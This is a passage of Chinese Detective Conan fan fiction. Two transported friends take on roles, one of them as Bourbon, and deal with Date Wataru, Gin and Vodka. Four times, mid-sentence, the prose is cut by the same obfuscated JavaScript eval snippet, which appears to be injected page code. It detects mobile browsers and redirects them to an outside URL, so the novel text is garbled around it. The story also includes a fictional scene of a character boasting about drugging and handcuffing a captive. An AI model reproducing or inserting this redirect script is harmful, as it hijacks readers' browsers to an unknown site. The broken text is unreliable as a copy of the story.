这个孩子……是不是有点过于善良了?也难怪会看起来…… 伊达航心情复杂,又开始露出那种欲言又止的神情。 “对了。”少年像是忽然想起什么,问道,“之前高木警官说要调查案件,结果发生了意外车祸,那个案子会受影响吗?” 伊达航先是愣了几秒,才终于想起这回事,随后表情流露出几分心虚:“……不会,没什么影响。不过说起这个……我冒昧地问一下,你当时是遇到什么麻烦了吗?” 其实调查案件只是他和高木临时找的借口,目的是为了以正当的理由向少年进行询问。 毕竟在当时他们的眼里,少年的状态怎么看怎么不对劲,如果直接上去就问的话,很可能引起对方的警惕和反感。 “麻烦?”少年不解地摇头,“没有啊,为什么这么问?” “因为当时的你看起来……好像需要帮助。”伊达航委婉地说。 事实上,不只是需要帮助这么简单,他当时看到少年的第一眼,甚至怀疑对方是不是需要报警。 ……这种想法现在看来有莫名,却奇妙得是当时他和高木的共同想法。 不过,此时见少年表情自然,似乎的确不像有什么难言之隐的样子,伊达航默默地松口气,“没有的话就太好了。” “总之,无论你遇到怎样的麻烦以及无法解决的困难,请不要有任何顾虑地向警方求助——或者直接打电话给我也可以。” 说完,伊达航不顾牧山晓的反应,自顾自地从随身携带的记事本上撕下一张纸条,将自己的电话号码写上去,然后一把塞进少年的卫衣口袋。 “请相信我,相信警察的能力。”伊达航语气认真地说,“我们会帮你的。” 少年有些惊讶地看了眼自己的口袋,又看看伊达航,沉默片刻后,轻声说了句:“谢谢。” 见他没有拒绝,伊达航放心下来。 时间不早了,他困得不行,正准备跟少年告别回家补觉,就忽然看到少年却像是被什么东西吸引了注意力,转头朝警视厅的大门外看去。 接着,伊达航听到他说:“我朋友来接我了,伊达警官,没什么事的话,我就先走了。” 朋友? 伊达航面露迷茫。 之前没听他说有朋友会来接他啊。 而且他身上连个手机都没有,是怎么知道他朋友到了的? 伊达航疑惑地跟随少年的视线朝门外望去,却什么也没看到。 但看到少年脸上流露出的急切表情,他只是点头:“好,路上当心,你……” 话没说完,他忽然看到少年表情一变,似乎突然紧张起来。 就在这时,一个头戴鸭舌帽和口罩的陌生男人从门口走了进来。 警视厅自然不是随便谁都可以来的地方,此时出现在这里的,要么是受害者和家属,要么是犯罪嫌疑人。 而这个突然出现的男人,说不清为什么,让他第一眼就做出了“是后者”的判断。 伊达航当警察这么多年,丰富的经验让他的直觉很少出错。更何况男人身上阴沉的气质相当引人注目,刚一出现,就吸引了大厅内大部分警察的注意力。 是刚抓到的犯人吗?押送他的警官呢?伊达航皱起眉,正要过去询问情况,却见到对方抬头在大厅中巡视一圈后,竟然直接朝他所在的位置走了过来。 靠近了之后,伊达航才注意到男人鸭舌帽之下露出的几缕头发,是显眼的金色。 染发吗?还是…… “咳咳,你好,我来接我的朋友。” 奇怪的口音揭示了男人的身份。 是个外国人? 可总感觉哪里不太对劲。 下一秒男人抬起头,碧绿的眼眸与伊达航的视线直直对上。 对视只持续了短暂的一瞬。 接着,男人低头去看身前的少年,将手搭在男孩的肩膀上,语气熟稔地开口:“抱歉来晚了,我对这里的路况还不太习惯,毕竟刚回来日本不久。” 令人意外的是,刚刚还表现得很期待朋友到来的少年,此时却垂着头一言不发。 伊达航没有注意到这点,他正盯着男人口罩之下露出的深色皮肤,不知道在想些什么。 片刻后,他警惕地开口:“你说,你是他的朋友?” 金发男人拳头抵住口罩,闷咳了几声,才说:“是的,我是晓的朋友。抱歉,最近有些感冒,所以才戴了口罩。” 伊达航眉头紧皱,大脑反应过来之前,审问的话不自觉脱口而出:“你们什么时候认识的?你叫什么名字,有身份证明吗?” 金发男人神情自若地一一回答:“我跟晓从小就认识,两家父母也相熟。只是我小时候跟随家人到国外生活,跟晓分开了一段时间,最近才回来。至于我的身份证明——在这里。” 他不慌不忙地从兜里翻出一本驾照,递给伊达航。 伊达航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520648|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱着眉接过,仔细核实上面的信息。 似乎没什么问题。 他将驾照还给本人,审视的视线投向此时过于沉默的少年:“是这样吗?” 少年犹豫了一下。 揽着少年肩膀的手臂突然收紧。 紧接着,少年用力点了点头。 伊达航:? “警官先生,还有什么要审问的吗?”金发男人笑眯眯地说,“没有的话,我就带我朋友离开了?” “……等等。”伊达航犹疑地看向牧山晓,“你确定他是你朋友?” “是……是的。”牧山晓说,“放心吧警官,他说的都是……实话。” 见少年态度肯定,不像是违心的样子,伊达航虽然觉得奇怪,也只能放人。 告别之前,伊达航还不忘悄声对少年嘱咐:“记住我说过的话。” 如果遇到什么麻烦了,立刻打电话。 牧山晓木着脸,被亲友推着走出了警视厅。 脑内频道里是亲友张狂的笑声。 【傻狗波波:哈哈哈哈哈哈哈哈哈!!!】 【傻狗波波:我演技牛不牛?有没有把波本那种斯文败类人面兽心但又游刃有余运筹帷幄的人设演出来?!】 【牧山:……你演出来个鬼。你那个什么怪口音,害我差点笑场。还有你捏我肩膀干什么,没发现伊达航看你的眼神像是在看变态吗?】 【傻狗波波:这就是你的问题了,你要是再热情一点,再配合我一点,我也不至于临场给你发送信号提醒你啊。】 【牧山:……你顶着这张脸过来,想让我怎么热情?!大哥我不求你易容,至少涂个粉底吧!】 金发黑皮,这么稀有的配置,万一被伊达航认出来了怎么办?! 【傻狗波波:放心吧,我戴美瞳了,还伪音了,他认不出来。】 【傻狗波波:而且我说的都是实话啊,我跟你从小就认识没错吧,我小时候是跟我妈出过国吧,刚穿越的时候我是跟你分开过吧,我也的确是刚来这个世界不久对吧?!】 【傻狗波波:更何况,他降谷零哪里有这么可爱的幼驯染!】 【傻狗波波:哦,诸伏景光没有你可爱!】 【牧山:……你闭嘴吧。】 亲友带着牧山晓停在了一辆白色马自达前。 他潇洒地拿出钥匙开锁,并不急着打开车门,而是斜靠在车头,摘下鸭舌帽捋了几下金灿灿的短发,冲牧山晓抛了个眉眼:“怎么样,哥帅吗?” 牧山晓:“……你快闭嘴吧,别毁了这张脸。” 亲友得意洋洋地拍拍车头,深情款款地对着它说:“宝贝儿,不管你以前跟的是谁,现在,你是我的了!” 金发男人嘴角扬起的弧度不变,抬起头看向牧山晓时,带着绿色美瞳的眼眸中笑意却忽然褪去,转而折射出凌厉而偏执的光。再开口时,他的声音变得低沉而锐利:“当然,你也一样。” 牧山晓:“……” 【牧山:还在吗?被顶号了?】 【傻狗波波:我演的波本像不像?是不是被骗到了!哈哈哈哈哈哈不愧是我!】 【牧山:尬得我脚趾扣地……收了你的神通吧,先找个能休息的地方再说。】 【傻狗波波:好哦。】 无言的对峙只持续了几秒,忽然金发男人浑身凌厉的气息一收,他抛了下手中的钥匙,冲牧山晓笑得阳光明媚:“我们走吧,宝贝儿。” 5. 烫男人是金发黑皮(五) 亲友带牧山晓去的,说是波本本人曾经准备的一间红黑双方都不知道位置的安全屋。 从外表看起来,这里只是一幢平平无奇的高级公寓楼,大概由于住户不多,他们在电梯里没有遇到别人。 “我从安室透的情报网中查到的这里,应该暂时安全。”电梯里,金发男人低着头,谨慎地避开监控将容貌隐藏在鸭舌帽之下,一边低声向牧山晓介绍着,“等有时间我再找地方布置一个新的安全屋,以免被安室透以前认识的人打扰。在那之前,暂且先在这里落脚吧。” 棕发少年站在他的身边,正盯着轿厢侧壁的镜子若有所思,也不知道听没听到。 “你看什么呢?” 男人见状,跟着探头凑近,盯着镜子仔细打量一番后“嚯”了一声。 “不愧是最烫男人降谷零的脸,太能打了。话说以他的特种兵作息,皮肤状态竟然还能这么好?” 狠狠酸了。 男人用手指托着自己的下巴,对着镜子左看右看,沉浸式欣赏。 “……”牧山晓无语地收回视线。 “别自恋了。”他打断亲友的沉浸,“我问你,你觉得我身上有什么不对劲的地方吗?” “啊?” 男人又用手指捏住少年的下巴,左转右转,观察了一会儿后说:“身高矮了,脸也嫩了点……变得更可爱了?” “……闭嘴吧你。” 牧山晓“啪”地一下拍掉他的手,用力翻了个白眼。 电梯很快停了下来。 金发男人领着牧山晓来到一扇公寓门前,用指纹打开了门锁。 牧山晓跟在他身后,看着他熟门熟路的样子,不禁狐疑:“我说,你该不会被波本同化了吧?应付警察也好,找安全屋也好,怎么感觉你做起这些事来挺得心应手的?” “可能是因为顶替了波本的身份,所以也继承了他的技能点吧,这些东西莫名其妙就会了。”亲友径直走进去,从门口的鞋柜中翻出两双未拆封的拖鞋,语气漫不经心。 “必要的日用品这里应该都有,等会儿可以看看缺什么,我们一起去买。” “不出意外的话,我们至少得在这里待上一周的时间。” 公寓内部是常规的两室一厅户型,装修简洁,除了必要的家具外没有任何装饰,看起来空荡荡的。 看起来只是备用的安全屋,波本本人大概很少来这里。 关上门后,男人摘下棒球帽,露出一头显眼的金发。他突然握住牧山晓的手,表情郑重而严肃: “晓宝,等以后发达了,我一定要让你住上大房子,给你提供最好的生活。” 牧山晓对上男人的视线,那双标志性狗狗眼眼角下垂的弧度,让男人的目光显得更加深情。 牧山晓一巴掌拍在他的脸上:“我说过,别顶着这张脸说狗血台词。” “你什么时候说过?你刚刚只是叫我闭嘴!” “那就接着闭嘴。”牧山晓丢下他,径直往室内走去,“有换洗的衣服吗?我想先冲个热水澡,快要冻死了。” “主卧里应该有,也有浴室,你快去吧,别感冒了。” 公寓里虽然东西不多,但的确该有的生活用品都有。 唯一不足就是备用衣服大概都是为波本本人准备的,牧山晓穿上有点大。 以亲友原本的身材,穿上倒是正正好——不过现在亲友的身材倒是变得和波本的一模一样了。 牧山晓擦着头发从浴室出来的时候,亲友提前电话订的餐已经送到了。 是披萨,超大一份,还有可乐。 反正花的是波本的钱,不用心疼。 两人围在茶几旁边,一边吃披萨,一边聊起正事。 只是牧山晓没想到,自己才刚刚起了个头,就看到亲友满脸迷茫。 牧山晓疑惑:“系统没向你发送播报吗?” “你说那个电子音?它好像比比歪歪说了很多,但我当时没注意哎。” “……那你在干嘛?” “当时琴酒就在我面前,我正在拼命克制自己想要找他集邮的冲动。” 牧山晓:“……行吧。” 不愧是你。 他无奈地用简洁的语言解释了一下系统告诉他的信息。 “所以大概就是马甲扮演之类的东西,我扮演波本是吧?”亲友说完,狼吞虎咽地吞下最后一口披萨,开始狂灌可乐。 牧山晓早就结束了战斗,正窝在沙发上,抱着柔软的抱枕小口小口地吸着橙汁。 “没错。扮演马甲演绎系统给出的剧本,给漫画角色留下深刻印象,收集演绎值。等演绎值攒够了,就许愿回家。我们的任务大概就是这样的情况。” 亲友打了好长一个嗝,说:“按照系统给的那个剧本的关键词,感觉像是个虐恋情深的狗血剧本。这么说主角就是你跟我喽?” “嘿嘿嘿,想想还挺刺激,强制爱什么的。话说你的人设想好了吗?” “说起这个……”牧山晓话锋一转,“你觉得系统说的那个‘滤镜’是什么东西?” “不知道哎,我看你好像没什么变化……也不能说没变化吧,就感觉你像是变小了几岁,重回高中时代。” 亲友忽然坐直,一脸严肃:“难不成系统给你喂了那个红白小药丸?” 牧山晓觉得应该不是:“它说是系统根据剧本自动生成的马甲,应该不是我本来的身体……除了这个呢,你有发现什么异常吗?” “那没有哎。”亲友又靠坐回去,摇摇头,“我身上有什么滤镜吗?你看我有没有变化?” 牧山晓皱着眉将还剩一半的果汁杯放回茶几,沉思着没有出声。 虽然亲友完全换了一个样貌,性格却与原来一模一样。除却那些显而易见的外表变化,他并没有发现任何异样。 也不知道这个系统所谓的“新手福利”,是只在他一个人身上生效,还是根本就没有太大效果。 系统一直联系不到,这个问题暂时无法得到答案,牧山晓干脆放到一边。 “那再来说说剧本吧。系统说一定要按照给出的剧本关键词进行演绎,却没说如果不遵守的话,会有什么惩罚。” “如果是通过给原著角色留下深刻印象的方式获取演绎值的话,不一定非要采用狗血剧情吧?还是说有什么我们不知道的限制……” 他正分析着,忽然见男人起身,朝厨房走去。 那人嘴里还不忘回他:“不然就先试试呗,狗血剧情也好其他剧情也好,先找几个观众演几场试试。既然系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520649|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统说得不够清楚,那直接干了完了,总能摸出规则。” 牧山晓下意识反驳:“怎么能随便试,万一触发惩罚机制怎么办?万一错失收集演绎值的机会,回不了家怎么办?你就不担心吗?” “有什么好担心的。”厨房里传来亲友有些模糊的声音,伴随着叮叮咣咣的莫名声响,“反正只要我们两个在一起,总能找到回家的办法。你要是不想演狗血剧情,我们就想其他的办法,没必要一直受系统威胁。” 没过一会儿,就见他端着一杯饮料从厨房里出来,嘴里安慰道: “别想那么多啦,来试试我研发的新品——香橙可乐。是橙汁和可乐兑在一起,里面还加了别的东西。看你好像不是很爱喝披萨店送的橙汁,我就简单改造了一下,快尝尝!” 牧山晓:“……”救命。 这东西一看就很黑暗料理啊! 橙汁和可乐加在一起或许没问题,但以他对亲友动手能力的了解,这人口中的“别的东西”……一定很不简单! 牧山晓不动声色地避开男人递来的手,故作苦恼地捂住额头:“你能不能对我们的正事上点心,我现在在很严肃地跟你聊任务!” “哦。”男人举了一会儿,见牧山晓沉浸在自己的烦恼中迟迟没有抬头,觉得胳膊有点酸,于是手腕一转,把饮料放在了茶几上,“那你继续说,我听着呢。” “……我觉得你说得对,现在演绎值获取的规则尚不清晰,我们的确可以先试一试。出于保险考虑,我目前还是偏向先按照系统的要求去做。只要收集到足够回家的演绎值,我不在乎剧情是狗血还是什么。你呢,有什么想法?” “我没意见。”亲友干脆地回答。 “至于你说的‘观众’……按照系统的说法,我们得找这个世界的关键角色才行。”牧山晓一边思考一边说着,“如果这个世界的时间线没出问题的话,现在柯南应该还没有出现。暂且抛开与柯南直接相关的角色……波本目前被你顶替了身份,警校组除了伊达航以外的人都已经牺牲,我没记错的话赤井秀一好像也已经暴露身份,现在应该在美国……” 牧山晓说着说着,陷入沉思。 柯南现在还是工藤新一,他跟小兰身为这个世界的主角,重要性不用多想。只是以他们现在的身份,贸然接触的话说不定会引起工藤新一那个侦探小子的警惕。 伊达航倒是个不错的人选。他刚刚穿越就意外接触了伊达航不说,对方似乎还对他莫名的格外关注…… “你觉得,黑方的人怎么样?” 男人的声音忽然响起,差点打断牧山晓的思绪。 “什么?”少年疑惑地抬头。 “波本这个身份,在黑方眼里本身就不干净,搞强制爱这类事好像也很合理。”亲友说出自己的想法,“在红方面前演的话,总觉得有那么一丁点的心理负担……好像在抹黑降谷零似的。而且黑化波本什么的,伊达航根本不会相信吧?” “琴酒就很适合,不是吗?” “既然是第一次演绎,就得找一个接受能力强、品性足够坚韧的对象,以防我们ooc或者剧情太过狗血创翻对方的世界观。” 亲友冲牧山晓无辜地眨眼。 “我对琴爷的意志力非常有信心,你呢?” 6. 烫男人是金发黑皮(六) 琴酒,某跨国犯罪组织的重要代号成员,被人称为“top killer”的冷血杀手,各国安全组织通缉名单上的头号罪犯。 他忠于黑衣组织,是黑衣组织最尖锐的一把利刃,毫不犹豫地地刺向一切违背组织利益的人。 作为一名冷酷无情的杀手,他外表看起来几乎对所有东西都不感兴趣,生命里只有“任务”两个字。他向来不是在做任务,就是在做任务的路上。 刚结束一个任务的琴酒回到安全屋,脱下染血的黑色大衣随手丢在地上,然后就马不停蹄地开始为下个任务做准备。 银色长发的男人慵懒地坐在沙发上,修长有力的双腿交叉随意地搭在茶几上。他左手的食指和中指夹着一支点燃的香烟,缓缓升起的烟雾遮住了手机屏上的通话号码。 “贝尔摩德,你那边的任务还要多久?” “预计要一周左右。”电话那头传来女人慵懒性感的嗓音,“就算一切顺利,也要至少三天的时间。怎么,有事?” 琴酒冷声说:“明天的任务,我需要一个狙击手。” 电话那头的女人轻笑一声:“抱歉了琴酒,卡尔瓦多斯可不能离开我。基安蒂和科恩呢?” “他们在英国,一时半会儿回不来。” “那就没办法了。我这个任务你知道的,是Boss亲自派发,不容失误。”贝尔摩德干脆地拒绝了他的援助请求,而后状似无意地抱怨,“自从苏格兰和莱伊的身份暴露,组织里少了两个优秀的狙击手之后,这方面的人才就一直空缺。花费心血培养出的新人里一个能用的都没有,真是麻烦……” “别再提那两个老鼠。”琴酒不耐烦地打断她,“任务结束后让卡尔瓦多斯尽快回日本,就这样……” 他说完正要直接挂断通话,却又被贝尔摩德叫住:“等等,帮我调一个情报人员过来,我这边的任务遇到了点麻烦。” “去找朗姆。” “我最近不想跟他打交道。”贝尔摩德的语气有些不烦躁,“如果不是波本去做潜伏任务了,我也不会找到你。琴酒,你手下该不会连个可用的情报人员都没有吧?” 听到这话,琴酒挑眉,有些意外:“波本的潜伏任务取消了,你不知道?” “取消了?”女人的语气是显而易见的惊讶,“他没告诉我。他现在在日本?” 琴酒嗤笑:“呵,看来你们的关系也不过如此。” “……那我联系他。” “不。”琴酒毫不犹豫地拒绝,“明天的任务,我需要他帮忙。” “你……”贝尔摩德一时语塞,她没想到琴酒缺人到这种地步,噎了一下才说,“你的任务不能等等?” “等不了,这个任务也是Boss亲自派发,优先级很高。”琴酒语气冰冷地说完,沉默片刻后,又补充了一句,“等日本这边的任务结束后,我会告诉波本你需要他。” 说完,他不等对面的回应,直接挂断电话。 直到此时,客厅里站在另一边的伏特加才敢出声。他手里拿着刚从地板上捡起的染血的黑色大衣,询问道:“大哥,没有狙击手配合,那明天的任务怎么办?” 烟雾从银发男人的口中缓缓吐出,模糊了男人的棱角锋利的面容,却遮不住他如同野狼般凌厉的绿色眼眸。 室内沉寂了片刻,才缓缓响起男人磁性的声音。 “狙击我亲自来。” “把波本叫上。” …… 收到琴酒的邮件时,男人正在陪牧山晓打游戏。 游戏设备和卡带都是临时买的,画面直接连到客厅的大电视上,足够两人爽玩。 “你都能替波本做任务了,就没继承半点他的观察力和反应速度吗?玩游戏还是一如既往地菜。” 看着屏幕上大大的“失败”两个字,牧山晓一脸嫌弃。 亲友坚信不是自己的问题:“游戏手柄有延迟,手感跟真枪完全不是一回事,不能怪我。” 牧山晓正战役盎然,咬牙道:“没事,我陪你多练练,我就不信堂堂波本连个枪击游戏都拿不下!再开一局!” 他正准备重开一局,却见男人放下游戏手柄,从口袋里拿出一部纯黑色的手机。 牧山晓很快反应过来,等男人查看完手机后才问:“是组织那边的消息?有任务了?” “嗯。”金发男人面露苦恼,“是琴酒派发的协助任务,预计时间要两天。晓宝,我今晚可能回不来了。” 牧山晓一愣:“什么时候走?” “现在就得去。” “哦。” 牧山晓默默放下游戏手柄。 今天是他们穿越的第三天,而距离亲友上次做组织的任务,才过去不到两天时间。 男人正忙着从隐秘的角落中翻找自己这次任务需要的装备,没有第一时间发现少年的沉默。 他手上忙个不停,嘴也没歇着,嘟嘟囔囔地抱怨: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520650|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “刚来的时候琴酒好像以为波本去做另一个什么任务了,都怪我当时脑袋一抽说我没有,要是当时直接承认,说不定现在就能天天在家陪你摸鱼了……” “哦对了晓宝,这个游戏你要不要先存个档,等我回来再一起玩。我一定能带你一命通关,信我!” 他一边说着,随意地抬头扫了一眼,这才发现少年早就将电视关掉,游戏卡带也收了起来。 男人一愣:“你不继续玩了?” 他本意是想让牧山晓换个游戏玩来着。 “不玩了。”牧山晓把游戏卡带和手柄都收好,背对着他伸了个懒腰,“我准备去泡个澡,放松一下。哦对了,晚饭我直接叫电话订餐送上门,没问题吧?” “我帮你叫吧,你想吃什么,想好了直接跟我说。”亲友一边说着,一边用手指点点额角。 他的意思是直接用脑内频道沟通。 这东西比手机好用得多,毕竟男人在任务时可能会出现来不及看手机甚至手机破损的情况,但两人对脑内频道的信息都是即时接收。 而且亲友这时候才想起来,他们穿越几天了,自己一直忙着布置新安全屋的事,竟然忘了给牧山晓买个新手机。 牧山晓几乎不怎么出门,平时两人习惯用脑内频道沟通,再加上安全屋里有一个座机,不影响牧山晓打订餐电话,所以他一时忽略了这件事。 看牧山晓似乎也没想起来的样子,男人心中一笑,暗自打算等任务结束,给牧山晓带回来一个惊喜。 等他终于准备齐全要出门时,说着要去泡澡的牧山晓还站在客厅里。 金发男人站在玄关,开心地冲他挥手: “晓宝,我去上班啦,你在家好好当个快乐的家里蹲吧!记得按时吃饭不要熬夜哦,还有不要随便给别人开门……” “知道啦知道啦,这种事不用你操心,我又不是小孩子了。” 牧山晓也冲他摆手。 “注意安全,如果组织的任务太危险,或者你不想做的话……就回来,像你之前说的,我们可以想别的办法。” “放心好啦,你又不是不知道,我心态超好的。”亲友笑意轻松,仿佛对任务的事没有半点忧虑。 “还有,系统任务的事我也没忘。”他冲牧山晓wink了一下:“琴酒那边就交给我,等我的好消息吧!” 门被“啪”地关上。 棕发少年垂着头站在原地,迟迟未动。 7. 烫男人是金发黑皮(七) 夜晚,月疏星稀,冷风阵阵。 一辆保时捷356A停在无人的街区。 这种型号的车造型古典讲究,款式低调奢华,多数爱车人士只用于收藏,现在在马路上很少见到。可明明是这样一辆本该引人注目的车,停在光线昏暗的角落,却没什么人注意到。 一个穿着黑色风衣的男人突然拉开车门坐了进去,衣摆裹着寒风,带进来一阵冷意。 “波本,你来晚了。”副驾驶响起一道低沉的嗓音,语气比夜风还冷。 金发男人将手提包平放在膝盖上,并不抬头,声音懒散:“琴酒,你是觉得查出一个人的所有账户密码以及名下秘密房产很简单,还是觉得我在偷懒?” 琴酒嗤笑一声:“这对你来说,难道不简单吗?” “确实很简单。”金发男人耸耸肩,从手提包中掏出一个U盘递到副驾驶,“所以我顺便去了一趟他的秘密别墅,把被锁在保险箱里的珍贵资料带了出来。” 他勾起唇角,扯出一个虚伪的笑:“当然,他别墅里不该存在的东西,我也贴心地一并帮他清除了。” “打扫得一干二净哦。” 琴酒接过U盘,不知从哪儿翻出一台笔记本电脑,语气冷淡地说道:“干得不错,不过下次不要擅自行动。波本,别忘了你只是这次任务的协助者。” 见琴酒专注地确认着资料的内容,坐在后排的金发男人无声地嘟囔了几个字,毫无顾忌地翻了个白眼。 没想到刚翻完就与后视镜中伏特加的视线撞了个正着。 伏特加:? 他刚才看到了什么? 金发男人脸上丝毫没有被人抓包的窘迫,反而扬起嘴角冲伏特加挑衅一笑。 “要告状吗?小跟班。” 嘴唇碰撞,吐出无声的几个字。 伏特加:…… 怎么感觉今天的波本火气这么大? 算了,他还是当什么都没看到吧。 “任务情报搜集得怎么样?”琴酒冰冷的声音打断两人的表情交流。 金发男人收敛笑容,面无表情地说:“发你邮箱了。” “嗯?”琴酒蹙眉,“我没收到?” 他一分钟前才查看过邮箱,确认没收到。 金发男人抬起握着手机的右手,当着琴酒的面用力按了一下屏幕:“因为我现在才发。” “……” 车厢内的空气瞬间凝固,伏特加几乎产生快要窒息的错觉。 过了好一会儿,琴酒双眸微眯,死死盯住后座的金发男人,意味深长地问:“波本,你对这次的任务有意见?” 金发男人咧嘴假笑:“当然不会。” boss亲自派发的任务,谁敢有意见? “那就是对我有意见。” 这是个肯定句。 琴酒说完,收回盯着金发男人的视线,语气漫不经心地说:“我不关心你在想些什么,给我好好完成任务,要是任务出了岔子,就算朗姆也保不了你。” “波本,我不查你,不是因为你身上没有疑点。奉劝你谨慎行事,不要被我抓到老鼠尾巴。” 说完,琴酒不在乎男人的反应,敲了敲车窗,并报出一个地址:“伏特加,先去这里,我需要确认一个消息。” 伏特加连忙应声。 伴随着汽车发动的声音,后排传来男人不满的抱怨:“琴酒,还有什么情报需要确认?你是在质疑我的能力?” “既然是朗姆的狗,就别在我面前乱叫。” 琴酒面不改色,冷声道:“再多嘴一句,就滚下车。” “……” “呵。” 一声冷笑过后,车内终于安静下来。 伏特加偷偷抹了把额角的冷汗,心中总算松了口气。 …… 黑色的保时捷停在街角处一片路灯照不到的阴影中。 琴酒已经离开有几分钟的时间了。 车厢内一片寂静,气氛有些沉闷。 伏特加双目直视前方,望着车窗外的夜色发呆。 他不敢回头,生怕一个不小心,就会点燃身后那个炸药桶。 自从刚才跟琴酒吵架落了下风(或者不如说被琴酒骂了一顿),金发男人身上的气息显而易见地变得烦躁起来。 琴酒下车后,从后排传来的手机提示音就响个不停,期间还夹杂着密密麻麻的、手机按键自带的打字音。 伏特加表面一动不敢动,心中却在揣测着波本在给发信息。 难道他在向朗姆打小报告? 可朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520651|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姆的话有那么多吗…… 还是在处理什么复杂机密的情报? 但为什么波本打字的动静听起来那么愤恨? 难道是将自己在琴酒身上受的气,转而撒向了自己的小弟? 伏特加心中好奇,视线控制不住地朝后视镜飘过去。 没想到下一瞬,却正正对上男人暗紫色冷刃般锐利的双眸。 伏特加猛地打了个哆嗦,慌乱地收回视线。 “你在看什么?” 低沉阴郁的质问声在身后响起。 伏特加一边在心中腹诽波本的敏锐感知,一边拼命想着借口:“没……没什么,就是想问问,你额……任务结束后,你有什么安排。” “你在打听我的行动?” “没……没有这个意思。”伏特加终于想起一个恰到好处的话题,“听说美国那边的任务遇到了点麻烦,贝尔摩德好像需要你……大哥答应帮她转告。” “她怎么不自己联系我?” “额……”伏特加心想你们俩的事我怎么知道。 不知道静默了多久,伏特加才终于听到身后传来声音: “我知道了。” 感受到落在身上的锐利视线消失,伏特加暗暗松了口气。 他总觉得最近的波本身上萦绕着一股比以往更加危险的、像是随时要爆炸的阴暗气息,也不知道是遇到了什么事,总之他可不想轻易惹怒对方。 车厢内再次恢复寂静。 伏特加望着车窗外的黑暗中居民楼隐约的轮廓,手指不住地敲击方向盘,心中暗暗祈祷大哥能快点回来。 就在这难熬的沉默氛围中,突然,一声突兀又诡异的轻笑响起。 伏特加悚然回头,只见刚才还一脸阴郁的金发男人,此时竟然满面笑容地盯着手中正在不停振动的手机。 好像是有电话打进来了。 他不接,也不挂,就这么看着,一言不发。 脸上的笑容竟变得怪异起来。 伏特加不动声色地偷瞄后视镜,暗暗观察波本的一举一动。 振动持续了好一会儿,终于,波本接起了电话,开口时语气是令人毛骨悚然地温柔: “宝贝儿,怎么这么快就醒了?看来是我用的药量还不够啊……” 8. 烫男人是金发黑皮(八) 伏特加:?! 伏特加心中一紧,他立即意识到自己可能不小心窥探到了波本的秘密隐私。 但问题是他也不想啊!波本如果不想让他听到的话可以直接让他下车……不对,波本为什么不自己下车?! 电话那头不知道说了些什么,引得波本轻笑一声,甜腻的语气之下蕴藏着令人颤栗的威胁之意: “想要手铐的钥匙?我当然可以告诉你,就在玄关鞋柜最上面的抽屉里,可凭你现在的状态,能拿得到吗?” “别折腾了,乖乖睡觉吧。如果我明天回去时发现你不在该在的地方,你知道后果的……” “虽然我也想多陪你一会儿,但现在不是最好的时机,还是明天再见吧。我会想你的~” 电话被挂断了,手机息屏,车内唯一的亮光熄灭。 后视镜中,金发男人的脸埋在阴影里,看不清表情。 伏特加咽了下口水。他知道自己不该多嘴,却还是按耐不住想要八卦的心。 他表面上装作若无其事,状似闲聊地问:“是你最近找的情人吗?看来你…你们的爱好挺丰富的啊。” “不是哦~”没想到被波本笑眯眯地否认了,“是我不久前意外发现的小老鼠罢了,虽然不太听话,哭着反抗的样子却格外惹人心疼呢。” 听到这话,伏特加脸色一僵,嘴开开合合,半晌艰难地吐出一句:“……你说老鼠,难道是组织的叛徒?” “不是啦,我怎么敢隐瞒组织叛徒的下落,他本人跟组织无关,不过是曾经一次任务中的小小收获而已。” 波本表现得像是一个乐于分享的人,毫无芥蒂地聊起自己最近新得到的“玩具”: “听说是小少爷出身呢,因为从小接受防身训练,所以性格比较倔强。想要驯服他的话需要多花费点功夫,不过也会更加有趣就是了。” 望着男人那张写满了愉悦的英俊的脸,伏特加简直不寒而栗。 在组织待久了,心狠手辣的人他见过不少。他们大多数自私自利,为了给自己谋利,从来不忌惮残害他人。他们或许见惯了血腥和黑暗,对此冷漠麻木,乃至渐渐沉迷。 